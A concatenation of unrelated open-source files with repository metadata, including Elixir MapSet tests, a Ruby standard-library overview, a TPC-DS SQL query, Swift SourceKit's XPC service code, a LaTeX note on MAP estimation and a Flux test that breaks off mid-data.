test "subset?/2" do
assert MapSet.subset?(MapSet.new(), MapSet.new())
assert MapSet.subset?(MapSet.new(1..6), MapSet.new(1..10))
assert MapSet.subset?(MapSet.new(1..6), MapSet.new(1..120))
refute MapSet.subset?(MapSet.new(1..120), MapSet.new(1..6))
end
test "equal?/2" do
assert MapSet.equal?(MapSet.new(), MapSet.new())
refute MapSet.equal?(MapSet.new(1..20), MapSet.new(2..21))
assert MapSet.equal?(MapSet.new(1..120), MapSet.new(1..120))
end
test "delete/2" do
result = MapSet.delete(MapSet.new(), 1)
assert MapSet.equal?(result, MapSet.new())
result = MapSet.delete(MapSet.new(1..4), 5)
assert MapSet.equal?(result, MapSet.new(1..4))
result = MapSet.delete(MapSet.new(1..4), 1)
assert MapSet.equal?(result, MapSet.new(2..4))
result = MapSet.delete(MapSet.new(1..4), 2)
assert MapSet.equal?(result, MapSet.new([1, 3, 4]))
end
test "size/1" do
assert MapSet.size(MapSet.new()) == 0
assert MapSet.size(MapSet.new(5..15)) == 11
assert MapSet.size(MapSet.new(2..100)) == 99
end
test "to_list/1" do
assert MapSet.to_list(MapSet.new()) == []
list = MapSet.to_list(MapSet.new(1..20))
assert Enum.sort(list) == Enum.to_list(1..20)
list = MapSet.to_list(MapSet.new(5..120))
assert Enum.sort(list) == Enum.to_list(5..120)
end
test "MapSet v1 compatibility" do
result = 1..5 |> map_set_v1() |> MapSet.new()
assert MapSet.equal?(result, MapSet.new(1..5))
result = MapSet.put(map_set_v1(1..5), 6)
assert MapSet.equal?(result, MapSet.new(1..6))
result = MapSet.union(map_set_v1(1..5), MapSet.new(6..10))
assert MapSet.equal?(result, MapSet.new(1..10))
result = MapSet.intersection(map_set_v1(1..10), MapSet.new(6..15))
assert MapSet.equal?(result, MapSet.new(6..10))
result = MapSet.difference(map_set_v1(1..10), MapSet.new(6..50))
assert MapSet.equal?(result, MapSet.new(1..5))
result = MapSet.delete(map_set_v1(1..10), 1)
assert MapSet.equal?(result, MapSet.new(2..10))
assert MapSet.size(map_set_v1(1..5)) == 5
assert MapSet.to_list(map_set_v1(1..5)) == Enum.to_list(1..5)
assert MapSet.disjoint?(map_set_v1(1..5), MapSet.new(10..15))
refute MapSet.disjoint?(map_set_v1(1..5), MapSet.new(5..10))
assert MapSet.subset?(map_set_v1(3..7), MapSet.new(1..10))
refute MapSet.subset?(map_set_v1(7..12), MapSet.new(1..10))
end
test "inspect" do
assert inspect(MapSet.new([?a])) == "#MapSet<[97]>"
end
defp map_set_v1(enumerable) do
map = Map.from_keys(Enum.to_list(enumerable), true)
%{__struct__: MapSet, map: map}
end
end
| Elixir | 4 | doughsay/elixir | lib/elixir/test/elixir/map_set_test.exs | [
"Apache-2.0"
] |
= Ruby Standard Library
The Ruby Standard Library is a vast collection of classes and modules that you
can require in your code for additional features.
Below is an overview of libraries and extensions followed by a brief
description.
== Libraries
Abbrev:: Calculates a set of unique abbreviations for a given set of strings
Base64:: Support for encoding and decoding binary data using a Base64 representation
DEBUGGER__:: Debugging functionality for Ruby
DRb:: Distributed object system for Ruby
English.rb:: Require 'English.rb' to reference global variables with less cryptic names
ERB:: An easy to use but powerful templating system for Ruby
Find:: This module supports top-down traversal of a set of file paths
MakeMakefile:: Module used to generate a Makefile for C extensions
Monitor:: Provides an object or module to use safely by more than one thread
Net::FTP:: Support for the File Transfer Protocol
Net::HTTP:: HTTP client api for Ruby
Net::IMAP:: Ruby client api for Internet Message Access Protocol
OpenURI:: An easy-to-use wrapper for Net::HTTP, Net::HTTPS and Net::FTP
OptionParser:: Ruby-oriented class for command-line option analysis
PP:: Provides a PrettyPrinter for Ruby objects
PrettyPrinter:: Implements a pretty printing algorithm for readable structure
RbConfig:: Information of your configure and build of Ruby
resolv-replace.rb:: Replace Socket DNS with Resolv
Resolv:: Thread-aware DNS resolver library in Ruby
Rinda:: The Linda distributed computing paradigm in Ruby
Gem:: Package management framework for Ruby
SecureRandom:: Interface for secure random number generator
Set:: Provides a class to deal with collections of unordered, unique values
Shellwords:: Manipulates strings with word parsing rules of UNIX Bourne shell
Tempfile:: A utility class for managing temporary files
Time:: Extends the Time class with methods for parsing and conversion
tmpdir.rb:: Extends the Dir class to manage the OS temporary file path
TSort:: Topological sorting using Tarjan's algorithm
un.rb:: Utilities to replace common UNIX commands
WeakRef:: Allows a referenced object to be garbage-collected
== Extensions
Coverage:: Provides coverage measurement for Ruby
Digest:: Provides a framework for message digest libraries
IO:: Extensions for Ruby IO class, including #wait and ::console
NKF:: Ruby extension for Network Kanji Filter
objspace:: Extends ObjectSpace module to add methods for internal statistics
Pathname:: Representation of the name of a file or directory on the filesystem
PTY:: Creates and manages pseudo terminals
Ripper:: Provides an interface for parsing Ruby programs into S-expressions
Socket:: Access underlying OS socket implementations
Syslog:: Ruby interface for the POSIX system logging facility
WIN32OLE:: Provides an interface for OLE Automation in Ruby
= Default gems
== Libraries
Benchmark:: Provides methods to measure and report the time used to execute code
Bundler:: Manage your Ruby application's gem dependencies
CGI:: Support for the Common Gateway Interface protocol
CSV:: Provides an interface to read and write CSV files and data
Delegator:: Provides three abilities to delegate method calls to an object
DidYouMean:: "Did you mean?" experience in Ruby
FileUtils:: Several file utility methods for copying, moving, removing, etc
Forwardable:: Provides delegation of specified methods to a designated object
GetoptLong:: Parse command line options similar to the GNU C getopt_long()
IPAddr:: Provides methods to manipulate IPv4 and IPv6 IP addresses
IRB:: Interactive Ruby command-line tool for REPL (Read Eval Print Loop)
Logger:: Provides a simple logging utility for outputting messages
Matrix:: Represents a mathematical matrix.
Mutex_m:: Mixin to extend objects to be handled like a Mutex
Net::POP3:: Ruby client library for POP3
Net::SMTP:: Simple Mail Transfer Protocol client library for Ruby
Observable:: Provides a mechanism for publish/subscribe pattern in Ruby
Open3:: Provides access to stdin, stdout and stderr when running other programs
OpenStruct:: Class to build custom data structures, similar to a Hash
Prime:: Prime numbers and factorization library
PStore:: Implements a file based persistence mechanism based on a Hash
Racc:: A LALR(1) parser generator written in Ruby.
RDoc:: Produces HTML and command-line documentation for Ruby
REXML:: An XML toolkit for Ruby
RSS:: Family of libraries that support various formats of XML "feeds"
Singleton:: Implementation of the Singleton pattern for Ruby
Timeout:: Auto-terminate potentially long-running operations in Ruby
Tracer:: Outputs a source level execution trace of a Ruby program
URI:: A Ruby module providing support for Uniform Resource Identifiers
WEBrick:: An HTTP server toolkit for Ruby
YAML:: Ruby client library for the Psych YAML implementation
== Extensions
BigDecimal:: Provides arbitrary-precision floating point decimal arithmetic
Date:: A subclass of Object includes Comparable module for handling dates
DateTime:: Subclass of Date to handling dates, hours, minutes, seconds, offsets
DBM:: Provides a wrapper for the UNIX-style Database Manager Library
Etc:: Provides access to information typically stored in UNIX /etc directory
Fcntl:: Loads constants defined in the OS fcntl.h C header file
Fiddle:: A libffi wrapper for Ruby
GDBM:: Ruby extension for the GNU dbm (gdbm) library
IO::console:: Console interface
JSON:: Implements Javascript Object Notation for Ruby
OpenSSL:: Provides SSL, TLS and general purpose cryptography for Ruby
Psych:: A YAML parser and emitter for Ruby
Readline:: Provides an interface for GNU Readline and Edit Line (libedit)
SDBM:: Provides a simple file-based key-value store with String keys and values
StringIO:: Pseudo I/O on String objects
StringScanner:: Provides lexical scanning operations on a String
Zlib:: Ruby interface for the zlib compression/decompression library
= Bundled gems
== Libraries
MiniTest:: A test suite with TDD, BDD, mocking and benchmarking
Net::Telnet:: Telnet client library for Ruby
PowerAssert:: Power Assert for Ruby.
Rake:: Ruby build program with capabilities similar to make
Test::Unit:: A compatibility layer for MiniTest
XMLRPC:: Remote Procedure Call over HTTP support for Ruby
| RDoc | 3 | bkmgit/ruby-packer | ruby/doc/standard_library.rdoc | [
"MIT"
] |
SELECT
cd_gender,
cd_marital_status,
cd_education_status,
count(*) cnt1,
cd_purchase_estimate,
count(*) cnt2,
cd_credit_rating,
count(*) cnt3
FROM
customer c, customer_address ca, customer_demographics
WHERE
c.c_current_addr_sk = ca.ca_address_sk AND
ca_state IN ('KY', 'GA', 'NM') AND
cd_demo_sk = c.c_current_cdemo_sk AND
exists(SELECT *
FROM store_sales, date_dim
WHERE c.c_customer_sk = ss_customer_sk AND
ss_sold_date_sk = d_date_sk AND
d_year = 2001 AND
d_moy BETWEEN 4 AND 4 + 2) AND
(NOT exists(SELECT *
FROM web_sales, date_dim
WHERE c.c_customer_sk = ws_bill_customer_sk AND
ws_sold_date_sk = d_date_sk AND
d_year = 2001 AND
d_moy BETWEEN 4 AND 4 + 2) AND
NOT exists(SELECT *
FROM catalog_sales, date_dim
WHERE c.c_customer_sk = cs_ship_customer_sk AND
cs_sold_date_sk = d_date_sk AND
d_year = 2001 AND
d_moy BETWEEN 4 AND 4 + 2))
GROUP BY cd_gender, cd_marital_status, cd_education_status,
cd_purchase_estimate, cd_credit_rating
ORDER BY cd_gender, cd_marital_status, cd_education_status,
cd_purchase_estimate, cd_credit_rating
LIMIT 100
| SQL | 3 | OlegPt/spark | sql/core/src/test/resources/tpcds/q69.sql | [
"Apache-2.0"
] |
// @strict: true
// Repro from #20196
type A = {
a: (x: number) => string
};
type B = {
a: (x: boolean) => string
};
function call0(p: A | B) {
p.a("s"); // Error
}
function callN<T extends A | B>(p: T) {
p.a("s"); // Error
var a: T["a"] = p.a;
a(""); // Error
a("", "", "", ""); // Error
} | TypeScript | 3 | nilamjadhav/TypeScript | tests/cases/compiler/functionCallOnConstrainedTypeVariable.ts | [
"Apache-2.0"
] |
domain: "[M] -> { S1[] : M >= 0 }"
child:
context: "[M] -> { [] : M >= 0 }"
| Smalltalk | 1 | chelini/isl-haystack | test_inputs/codegen/cloog/0D-3.st | [
"MIT"
] |
#%RAML 1.0 Library
uses:
strings: stringTypes.raml
types:
EnvVarValue:
type: string
EnvVarSecret:
type: object
description: An environment variable set to a secret
properties:
secret:
type: string
description: |
The name of the secret to refer to. At runtime, the value of the
secret will be injected into the value of the variable.
EnvVarValueOrSecret: (EnvVarValue | EnvVarSecret)
EnvVars:
type: object
properties:
/^[a-zA-Z_][a-zA-Z0-9_]{0,253}?$/: EnvVarValueOrSecret
LegacyEnvVars:
type: object
usage: |
The original v2 apps API did not place any restrictions on environment variable names.
New APIs should use EnvVars whenever possible.
properties:
/^.*$/: EnvVarValueOrSecret
| RAML | 4 | fquesnel/marathon | docs/docs/rest-api/public/api/v2/types/environmentVariable.raml | [
"Apache-2.0"
] |
<h1><%= @project.name -%></h1>
<h3>validate error:<br>
<pre>
<%= @errText -%>
</pre>
</h3>
| RHTML | 3 | andypohl/kent | src/hg/encode/hgEncodeSubmit/app/views/pipeline/valid_status.rhtml | [
"MIT"
] |
//===--- XPCService.cpp ---------------------------------------------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
#include "sourcekitd/Internal-XPC.h"
#include "sourcekitd/Logging.h"
#include "SourceKit/Core/LLVM.h"
#include "SourceKit/Support/Concurrency.h"
#include "SourceKit/Support/UIdent.h"
#include "SourceKit/Support/Logging.h"
#include "llvm/ADT/DenseMap.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/Errno.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/Path.h"
#include "llvm/Support/Threading.h"
#include <xpc/xpc.h>
using namespace SourceKit;
using namespace sourcekitd;
static xpc_connection_t MainConnection = nullptr;
static void postNotification(sourcekitd_response_t Notification) {
xpc_connection_t peer = MainConnection;
if (!peer)
goto done;
{
xpc_object_t contents = xpc_array_create(nullptr, 0);
xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,
(uint64_t)xpc::Message::Notification);
xpc_array_set_value(contents, XPC_ARRAY_APPEND, Notification);
xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);
xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);
xpc_release(contents);
xpc_connection_send_message(peer, msg);
xpc_release(msg);
}
done:
// The function accepted ownership.
xpc_release(Notification);
}
namespace {
/// Associates sourcekitd_uid_t to a UIdent.
class SKUIDToUIDMap {
typedef llvm::DenseMap<void *, UIdent> MapTy;
MapTy Map;
WorkQueue Queue{ WorkQueue::Dequeuing::Concurrent, "UIDMap" };
public:
UIdent get(sourcekitd_uid_t SKDUID);
void set(sourcekitd_uid_t SKDUID, UIdent UID);
};
}
static SKUIDToUIDMap UIDMap;
static sourcekitd_uid_t xpcSKDUIDFromUIdent(UIdent UID) {
if (void *Tag = UID.getTag())
return reinterpret_cast<sourcekitd_uid_t>(Tag);
// FIXME: The following should run in the synchronous dispatch queue of the
// connection. But does it matter, since if MainConnection is null or gets
// destroyed it means the client crashed ?
xpc_connection_t peer = MainConnection;
if (!peer)
return nullptr;
xpc_object_t contents = xpc_array_create(nullptr, 0);
xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,
(uint64_t)xpc::Message::UIDSynchronization);
xpc_array_set_string(contents, XPC_ARRAY_APPEND, UID.c_str());
xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);
xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);
xpc_release(contents);
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(peer, msg);
xpc_release(msg);
if (xpc_get_type(reply) == XPC_TYPE_ERROR) {
xpc_release(reply);
return nullptr;
}
assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);
uint64_t val = xpc_dictionary_get_uint64(reply, xpc::KeyMsgResponse);
xpc_release(reply);
sourcekitd_uid_t skduid = sourcekitd_uid_t(val);
UID.setTag(skduid);
UIDMap.set(skduid, UID);
return skduid;
}
static UIdent xpcUIdentFromSKDUID(sourcekitd_uid_t SKDUID) {
// This should be used only for debugging/logging purposes.
UIdent UID = UIDMap.get(SKDUID);
if (UID.isValid())
return UID;
xpc_connection_t Peer = MainConnection;
if (!Peer)
return UIdent();
xpc_object_t contents = xpc_array_create(nullptr, 0);
xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,
(uint64_t)xpc::Message::UIDSynchronization);
xpc_array_set_uint64(contents, XPC_ARRAY_APPEND, uintptr_t(SKDUID));
xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);
xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);
xpc_release(contents);
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(Peer, msg);
xpc_release(msg);
if (xpc_get_type(reply) == XPC_TYPE_ERROR) {
xpc_release(reply);
return UIdent();
}
assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);
const char *Str = xpc_dictionary_get_string(reply, xpc::KeyMsgResponse);
UID = UIdent(Str);
UID.setTag(SKDUID);
UIDMap.set(SKDUID, UID);
xpc_release(reply);
return UID;
}
void anchorForGetMainExecutableInXPCService() {}
namespace {
/// Responsible for replying to an XPC request.
class XPCResponder {
xpc_connection_t Peer;
xpc_object_t Event;
bool Responded = false;
public:
XPCResponder(xpc_object_t event, xpc_connection_t peer)
: Peer(xpc_connection_t(xpc_retain(peer))), Event(xpc_retain(event)) {}
~XPCResponder() {
if (!Responded) {
LOG_WARN_FUNC("failed to respond to request");
sendReply(createErrorRequestFailed("Internal error: no response was "
"provided for the request"));
}
xpc_release(Event);
xpc_release(Peer);
}
/// Accepts ownership of the response object.
void sendReply(sourcekitd_response_t response) {
if (Responded) {
LOG_WARN_FUNC("tried to respond to an already handled request");
return;
}
xpc_object_t reply = xpc_dictionary_create_reply(Event);
xpc_dictionary_set_value(reply, xpc::KeyMsgResponse, response);
xpc_release(response);
xpc_connection_send_message(Peer, reply);
xpc_release(reply);
Responded = true;
}
};
}
static void getToolchainPrefixPath(llvm::SmallVectorImpl<char> &Path) {
std::string executablePath = llvm::sys::fs::getMainExecutable(
"sourcekit",
reinterpret_cast<void *>(&anchorForGetMainExecutableInXPCService));
Path.append(executablePath.begin(), executablePath.end());
#ifdef SOURCEKIT_UNVERSIONED_FRAMEWORK_BUNDLE
// Path points to e.g. "usr/lib/sourcekitd.framework/XPCServices/
// SourceKitService.xpc/SourceKitService"
const unsigned MainExeLibNestingLevel = 5;
#else
// Path points to e.g.
// "usr/lib/sourcekitd.framework/Versions/Current/XPCServices/
// SourceKitService.xpc/Contents/MacOS/SourceKitService"
const unsigned MainExeLibNestingLevel = 9;
#endif
// Get it to usr.
for (unsigned i = 0; i < MainExeLibNestingLevel; ++i)
llvm::sys::path::remove_filename(Path);
}
static std::string getRuntimeLibPath() {
llvm::SmallString<128> path;
getToolchainPrefixPath(path);
llvm::sys::path::append(path, "lib");
return path.str().str();
}
static std::string getDiagnosticDocumentationPath() {
llvm::SmallString<128> path;
getToolchainPrefixPath(path);
llvm::sys::path::append(path, "share", "doc", "swift", "diagnostics");
return path.str().str();
}
static dispatch_queue_t msgHandlingQueue;
static void sourcekitdServer_peer_event_handler(xpc_connection_t peer,
xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_ERROR) {
if (event == XPC_ERROR_CONNECTION_INVALID) {
// The client process on the other end of the connection has either
// crashed or cancelled the connection. After receiving this error,
// the connection is in an invalid state, and we do not need to
// call xpc_connection_cancel().
// No need to call sourcekitd::shutdown() since the process is going down
// anyway, plus if we get a new connection before the process closes then
// we will fail to re-initialize properly since the initialize call is at
// main.
xpc_transaction_end();
} else if (event == XPC_ERROR_TERMINATION_IMMINENT) {
// Handle per-connection termination cleanup.
xpc_connection_cancel(peer);
}
} else {
assert(type == XPC_TYPE_DICTIONARY);
// Handle the message
xpc_retain(event);
dispatch_async(msgHandlingQueue, ^{
if (xpc_object_t contents =
xpc_dictionary_get_value(event, xpc::KeyMsg)) {
SourceKitCancellationToken cancelToken =
reinterpret_cast<SourceKitCancellationToken>(
xpc_dictionary_get_uint64(event, xpc::KeyCancelToken));
auto Responder = std::make_shared<XPCResponder>(event, peer);
xpc_release(event);
assert(xpc_get_type(contents) == XPC_TYPE_ARRAY);
sourcekitd_object_t req = xpc_array_get_value(contents, 0);
sourcekitd::handleRequest(req, /*CancellationToken=*/cancelToken,
[Responder](sourcekitd_response_t response) {
Responder->sendReply(response);
});
} else if (xpc_object_t contents =
xpc_dictionary_get_value(event, "ping")) {
// Ping back.
xpc_object_t reply = xpc_dictionary_create_reply(event);
xpc_release(event);
assert(reply);
xpc_connection_send_message(peer, reply);
xpc_release(reply);
} else if (SourceKitCancellationToken cancelToken =
reinterpret_cast<SourceKitCancellationToken>(
xpc_dictionary_get_uint64(event,
xpc::KeyCancelRequest))) {
sourcekitd::cancelRequest(/*CancellationToken=*/cancelToken);
} else if (SourceKitCancellationToken cancelToken =
reinterpret_cast<SourceKitCancellationToken>(
xpc_dictionary_get_uint64(
event, xpc::KeyDisposeRequestHandle))) {
sourcekitd::disposeCancellationToken(/*CancellationToken=*/cancelToken);
} else {
assert(false && "unexpected message");
}
});
}
}
static void getInitializationInfo(xpc_connection_t peer) {
xpc_object_t contents = xpc_array_create(nullptr, 0);
xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,
(uint64_t)xpc::Message::Initialization);
xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);
xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);
xpc_release(contents);
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(peer, msg);
xpc_release(msg);
if (xpc_get_type(reply) == XPC_TYPE_ERROR) {
xpc_release(reply);
return;
}
assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);
uint64_t Delay = xpc_dictionary_get_uint64(reply, xpc::KeySemaEditorDelay);
xpc_release(reply);
if (Delay != 0) {
llvm::SmallString<4> Buf;
{
llvm::raw_svector_ostream OS(Buf);
OS << Delay;
}
setenv("SOURCEKIT_DELAY_SEMA_EDITOR", Buf.c_str(), /*overwrite=*/1);
}
}
static void sourcekitdServer_event_handler(xpc_connection_t peer) {
// Keep the service alive even when idle.
xpc_transaction_begin();
// By defaults, new connections will target the default dispatch
// concurrent queue.
xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
sourcekitdServer_peer_event_handler(peer, event);
});
// Update the main connection
xpc_retain(peer);
if (MainConnection)
xpc_release(MainConnection);
MainConnection = peer;
// This will tell the connection to begin listening for events. If you
// have some other initialization that must be done asynchronously, then
// you can defer this call until after that initialization is done.
xpc_connection_resume(peer);
dispatch_barrier_async(msgHandlingQueue, ^{
getInitializationInfo(MainConnection);
});
}
static void fatal_error_handler(void *user_data, const std::string& reason,
bool gen_crash_diag) {
// Write the result out to stderr avoiding errs() because raw_ostreams can
// call report_fatal_error.
fprintf(stderr, "SOURCEKITD SERVER FATAL ERROR: %s\n", reason.c_str());
if (gen_crash_diag)
::abort();
}
int main(int argc, const char *argv[]) {
llvm::install_fatal_error_handler(fatal_error_handler, 0);
sourcekitd::enableLogging("sourcekit-serv");
sourcekitd_set_uid_handlers(
^sourcekitd_uid_t(const char *uidStr) {
return xpcSKDUIDFromUIdent(UIdent(uidStr));
},
^const char *(sourcekitd_uid_t uid) {
return xpcUIdentFromSKDUID(uid).c_str();
});
sourcekitd::initializeService(
getRuntimeLibPath(), getDiagnosticDocumentationPath(), postNotification);
// Increase the file descriptor limit.
// FIXME: Portability ?
static const size_t FDLimit = 4096;
struct rlimit l;
if (getrlimit(RLIMIT_NOFILE, &l) == 0) {
if (l.rlim_cur < FDLimit) {
l.rlim_cur = FDLimit;
if (setrlimit(RLIMIT_NOFILE, &l) == 0) {
LOG_INFO_FUNC(Low, "bumped file descriptor limit to " << FDLimit);
} else {
LOG_WARN_FUNC("setrlimit failed: " << llvm::sys::StrError());
}
}
} else {
LOG_WARN_FUNC("getrlimit failed: " << llvm::sys::StrError());
}
auto attr = dispatch_queue_attr_make_with_qos_class(DISPATCH_QUEUE_CONCURRENT,
QOS_CLASS_DEFAULT, 0);
msgHandlingQueue = dispatch_queue_create("request-handling", attr);
xpc_main(sourcekitdServer_event_handler);
return 0;
}
UIdent SKUIDToUIDMap::get(sourcekitd_uid_t SKDUID) {
UIdent UID;
Queue.dispatchSync([&]{
MapTy::iterator It = Map.find(SKDUID);
if (It != Map.end())
UID = It->second;
});
return UID;
}
void SKUIDToUIDMap::set(sourcekitd_uid_t SKDUID, UIdent UID) {
Queue.dispatchBarrier([=]{
this->Map[SKDUID] = UID;
});
}
| C++ | 4 | kbongort/swift | tools/SourceKit/tools/sourcekitd/bin/XPC/Service/XPCService.cpp | [
"Apache-2.0"
] |
#poi_label[maki=''] {
opacity:1.0;
comp-op:src-over;
} | CartoCSS | 3 | nimix/carto | test/rendering-mss/issue_339b.mss | [
"Apache-2.0"
] |
#!/usr/bin/env bash
set -eo pipefail
IFS=$'\n\t'
ROOT="${BASH_SOURCE[0]%/*}"
SEMVER_REGEX="v?([0-9]+)(\.[0-9]+)?(\.[0-9]+)?(-([0-9A-Za-z\-]+(\.[0-9A-Za-z\-]+)*))?(\+([0-9A-Za-z\-]+(\.[0-9A-Za-z\-]+)*))?"
CHANNEL_REGEX="^[a-z]+"
LATEST_TAG=$(git describe --tags --abbrev=0)
VERSION=""
channel="stable"
if [[ "$LATEST_TAG" =~ $SEMVER_REGEX ]]; then
major=${BASH_REMATCH[1]}
minor=${BASH_REMATCH[2]}
release=${BASH_REMATCH[5]}
if [[ "$release" =~ $CHANNEL_REGEX ]]; then
channel="${BASH_REMATCH[0]}"
fi
if [[ ! -z "$EXPECTED_CHANNEL" ]] && [[ "${EXPECTED_CHANNEL}" != "${channel}" ]]; then
exit
fi
VERSION="channel/$channel/v$major$minor"
fi
if [ -z "$VERSION" ]; then VERSION="versioned/$($ROOT/get-version.sh)"; fi
echo $VERSION
| Shell | 3 | gh-oss-contributor/graphql-engine-1 | scripts/get-console-assets-version.sh | [
"Apache-2.0",
"MIT"
] |
\title{Maximum a Posteriori Estimation}
\subsection{Maximum a Posteriori Estimation}
Maximum a posteriori (MAP) estimation is a form of approximate
posterior inference. It uses the mode as a point estimate of the
posterior distribution,
\begin{align*}
\mathbf{z}_\text{MAP}
&=
\arg \max_\mathbf{z}
p(\mathbf{z} \mid \mathbf{x})\\
&=
\arg \max_\mathbf{z}
\log p(\mathbf{z} \mid \mathbf{x}).
\end{align*}
In practice, we work with logarithms of densities to avoid numerical underflow
issues \citep{murphy2012machine}.
The MAP estimate is the most likely configuration of the hidden patterns $\mathbf{z}$
under the model. However, we cannot directly solve this optimization problem
because the posterior is typically intractable. To circumvent this, we use Bayes' rule to
optimize over the joint density,
\begin{align*}
\mathbf{z}_\text{MAP}
&=
\arg \max_\mathbf{z}
\log p(\mathbf{z} \mid \mathbf{x})\\
&=
\arg \max_\mathbf{z}
\log p(\mathbf{x}, \mathbf{z}).
\end{align*}
This is valid because
\begin{align*}
\log p(\mathbf{z} \mid \mathbf{x})
&=
\log p(\mathbf{x}, \mathbf{z}) - \log p(\mathbf{x})\\
&=
\log p(\mathbf{x}, \mathbf{z}) - \text{constant in terms of } \mathbf{z}.
\end{align*}
MAP estimation includes the common scenario of maximum
likelihood estimation as a special case,
\begin{align*}
\mathbf{z}_\text{MAP}
&=
\arg \max_\mathbf{z}
p(\mathbf{x}, \mathbf{z})\\
&=
\arg \max_\mathbf{z}
p(\mathbf{x}\mid \mathbf{z}),
\end{align*}
where the prior $p(\mathbf{z})$ is flat, placing uniform probability over all
values $\mathbf{z}$ supports. Placing a nonuniform prior can be thought of as
regularizing the estimation, penalizing values away from maximizing
the likelihood, which can lead to overfitting. For example, a normal
prior or Laplace prior on $\mathbf{z}$ corresponds to $\ell_2$ penalization, also
known as ridge regression, and $\ell_1$ penalization, also
known as the LASSO.
Maximum likelihood is also known as cross entropy minimization. For a
data set $\mathbf{x}=\{x_n\}$,
\begin{align*}
\mathbf{z}_\text{MAP}
&=
\arg \max_\mathbf{z}
\log p(\mathbf{x}\mid \mathbf{z})
\\
&=
\arg \max_\mathbf{z}
\sum_{n=1}^N \log p(x_n\mid \mathbf{z})
\\
&=
\arg \min_\mathbf{z}
-\frac{1}{N}\sum_{n=1}^N \log p(x_n\mid \mathbf{z}).
\end{align*}
The last expression can be thought of as an approximation to the cross
entropy between the true data distribution and $p(\mathbf{x}\mid \mathbf{z})$,
using a set of $N$ data points.
\subsubsection{Gradient descent}
To find the MAP estimate of the latent variables $\mathbf{z}$, we use
the gradient of the log joint density
\begin{align*}
\nabla_\mathbf{z}
\log p(\mathbf{x}, \mathbf{z})
\end{align*}
and follow it to a (local) optima.
Edward uses TensorFlow's automatic differentiation, making this gradient
computation both simple and efficient to distribute.
Edward currently does not support MAP for discrete latent variables.
This amounts to discrete optimization, which is difficult.
For more details, see the \href{/api/}{API} as well as its
implementation in Edward's code base.
\subsubsection{References}\label{references}
| TeX | 3 | xiangze/edward | docs/tex/tutorials/map.tex | [
"Apache-2.0"
] |
#ifndef TEST_INTEROP_CXX_CLASS_INLINE_FUNCTION_THROUGH_MEMBER_INPUTS_STATIC_VAR_INIT_CALLS_FUNCTION_H
#define TEST_INTEROP_CXX_CLASS_INLINE_FUNCTION_THROUGH_MEMBER_INPUTS_STATIC_VAR_INIT_CALLS_FUNCTION_H
inline int increment(int t) { return t + 1; }
struct Incrementor {
static int incrementee;
};
int Incrementor::incrementee = increment(41);
inline int initializeStaticVar() {
return Incrementor::incrementee;
}
#endif // TEST_INTEROP_CXX_CLASS_INLINE_FUNCTION_THROUGH_MEMBER_INPUTS_STATIC_VAR_INIT_CALLS_FUNCTION_H
| C | 4 | gandhi56/swift | test/Interop/Cxx/class/inline-function-codegen/Inputs/static-var-init-calls-function.h | [
"Apache-2.0"
] |
package universe_test
import "testing"
import "csv"
option now = () => 2030-01-01T00:00:00Z
testcase to_float {
inData =
"
#datatype,string,long,dateTime:RFC3339,boolean,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,0,2018-05-22T19:53:00Z,true,k0,m
,,0,2018-05-22T19:53:01Z,false,k0,m
#datatype,string,long,dateTime:RFC3339,double,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,1,2018-05-22T19:53:10Z,0,k1,m
,,1,2018-05-22T19:53:11Z,1,k1,m
,,1,2018-05-22T19:53:12Z,1.0,k1,m
,,1,2018-05-22T19:53:13Z,1.1e5,k1,m
,,1,2018-05-22T19:53:14Z,1.1e-5,k1,m
,,1,2018-05-22T19:53:15Z,0.0000024,k1,m
,,1,2018-05-22T19:53:16Z,-23.123456,k1,m
,,1,2018-05-22T19:53:17Z,-922337203.6854775808,k1,m
#datatype,string,long,dateTime:RFC3339,long,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,2,2018-05-22T19:53:20Z,1,k2,m
,,2,2018-05-22T19:53:21Z,-1,k2,m
,,2,2018-05-22T19:53:22Z,0,k2,m
,,2,2018-05-22T19:53:23Z,2147483647,k2,m
,,2,2018-05-22T19:53:24Z,-2147483648,k2,m
,,2,2018-05-22T19:53:25Z,9223372036854775807,k2,m
,,2,2018-05-22T19:53:26Z,-9223372036854775808,k2,m
#datatype,string,long,dateTime:RFC3339,string,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,3,2018-05-22T19:53:30Z,0,k3,m
,,3,2018-05-22T19:53:31Z,1,k3,m
,,3,2018-05-22T19:53:32Z,1.0,k3,m
,,3,2018-05-22T19:53:33Z,1.1e5,k3,m
,,3,2018-05-22T19:53:34Z,1.1e-5,k3,m
,,3,2018-05-22T19:53:35Z,0.0000024,k3,m
,,3,2018-05-22T19:53:36Z,-23.123456,k3,m
